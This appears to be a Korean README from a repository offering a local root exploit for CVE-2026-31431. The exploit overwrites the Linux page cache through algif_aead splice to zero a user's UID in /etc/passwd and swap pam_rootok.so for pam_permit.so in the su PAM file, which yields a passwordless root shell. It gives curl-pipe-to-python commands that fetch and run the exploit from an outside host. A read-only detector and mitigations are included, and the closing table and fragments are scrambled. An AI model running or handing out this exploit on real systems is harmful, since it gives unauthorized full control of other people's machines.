
CVE-2026-31431에 대한 로컬 권한 상승 익스플로잇으로, Linux 커널의 algif_aead에서 splice를 사용하여 페이지 캐시를 덮어쓰고 루트 권한을 획득합니다. 읽기 전용 탐지기를 포함합니다.
CVE-2026-31431은 Linux 커널의 algif_aead 서브시스템에서 발생하는 로컬 권한 상승 취약점입니다. authencesn AEAD 구현은 splice(2)를 통해 제자리 복호화를 수행하여 페이지 캐시 페이지를 대상 scatterlist에 배치합니다. AAD의 4바이트 값(seqno_lo)이 인증 태그가 검증되기 전에 해당 페이지 캐시 페이지에 다시 기록되어, 권한이 없는 사용자가 모든 세계 읽기 가능 파일의 커널 페이지 캐시에서 임의의 바이트를 덮어쓸 수 있게 됩니다.
취약한 버전: 커널 4.14(2017년 8월) — authencesn이 algif_aead에 도입된 시점
수정 사항 배포: 6.12, 6.17, 6.18 안정 브랜치에만 해당
영구 미패치: 커널 4.14–6.11(EOL, 백포트 예정 없음)
필요 프리미티브: AF_ALG 소켓, authencesn(hmac(sha256),cbc(aes)) 암호, AF_ALG 소켓 fd로의 splice(2)
영향: 루트로의 로컬 권한 상승 — 완전 자동화, 비밀번호 불필요
이 익스플로잇은 두 개의 페이지 캐시 패치를 순차적으로 적용한 후 su를 자동으로 실행합니다:
/etc/passwd 패치 — 파일을 열고(세계 읽기 가능), 페이지 캐시를 채운 다음, authencesn splice 프리미티브를 사용하여 실행 중인 사용자의 4자리 UID 필드를 0000으로 뒤집습니다. 패치 후 getpwnam()은 사용자를 UID 0으로 보고합니다.
/etc/pam.d/su 패치 — pam_rootok.so와 pam_permit.so는 둘 다 정확히 13자입니다. 두 번의 4바이트 쓰기로 PAM 구성의 페이지 캐시에서 pam_rootok.so를 pam_permit.so로 교체합니다. pam_permit는 항상 PAM_SUCCESS를 반환하므로 기존 auth sufficient 라인이 즉시 실행되어 비밀번호 프롬프트가 표시되지 않습니다.
자동 셸 — 스크립트가 su <user>를 실행합니다. PAM은 비밀번호 없이 인증하고(2단계), 이 UID 0을 보고하므로 이 성공합니다(1단계). 사용자 상호 작용 없이 루트 셸이 반환됩니다.
어느 시점에서도 디스크 쓰기는 발생하지 않습니다. 페이지 캐시를 삭제하거나(echo 3 > /proc/sys/vm/drop_caches) 재부팅하면 두 패치가 모두 완전히 되돌려집니다.
승인된 테스트 전용입니다. 소유한 호스트 또는 명시적으로 평가를 위임받은 호스트에서만 실행하세요.
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/exploit.py | TARGET_USER=$(whoami) python3
루트 셸이 자동으로 반환됩니다 — 비밀번호 불필요.
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
TARGET_USER=$(whoami) python3 exploit.py
echo 3 | tee /proc/sys/vm/drop_caches
AF_ALG 소켓 지원 활성화(대부분의 배포판에서 표준)authencesn(hmac(sha256),cbc(aes)) 로드 가능(대부분의 배포판에서 표준)test_cve_2026_31431.py는 이 저장소에 포함된 안전한 읽기 전용 탐지기입니다. 임시 디렉토리에 생성한 일회용 센티널 파일에 대해 algif_aead splice 프리미티브를 실행합니다 — 시스템 파일은 절대 건드리지 않습니다. 판정을 출력하고 명확하게 정의된 코드로 종료합니다:
| 종료 코드 | 의미 |
|---|---|
0 | 취약하지 않음 — 사전 조건 미충족 또는 페이지 캐시가 수정되지 않음 |
1 | 테스트 오류(예: AF_ALG 사용 불가, splice 미지원) |
실행:
# 원라이너(설치 불필요)
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/test_cve_2026_31431.py | python3
echo "Exit code: $?"
# 또는 로컬 클론에서
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
python3 test_cve_2026_31431.py
echo "Exit code: $?"
취약한 커널에서의 예시 출력:
[*] CVE-2026-31431 detector kernel=6.12.0-55-generic arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[!] VULNERABLE to CVE-2026-31431.
[!] Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 24.
[!] Surrounding bytes: 00000000504d4e4400000000 (b'\x00\x00\x00\x00PWND\x00\x00\x00\x00')
[!] Apply the upstream fix or block algif_aead immediately.
패치된 커널에서의 예시 출력:
[*] CVE-2026-31431 detector kernel=6.12.0-55-generic arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[+] Page cache intact. NOT vulnerable on this kernel.
/etc/modprobe.d를 통해 algif_aead 차단: install algif_aead /bin/falseAF_ALG 소켓 제한.net/tls + crypto/algif_aead — authencesn 제자리 dst scatterlist 격리getpwnam()setuid(0)2 | 취약함 — 마커 바이트가 splice된 페이지 캐시 페이지에 기록됨 |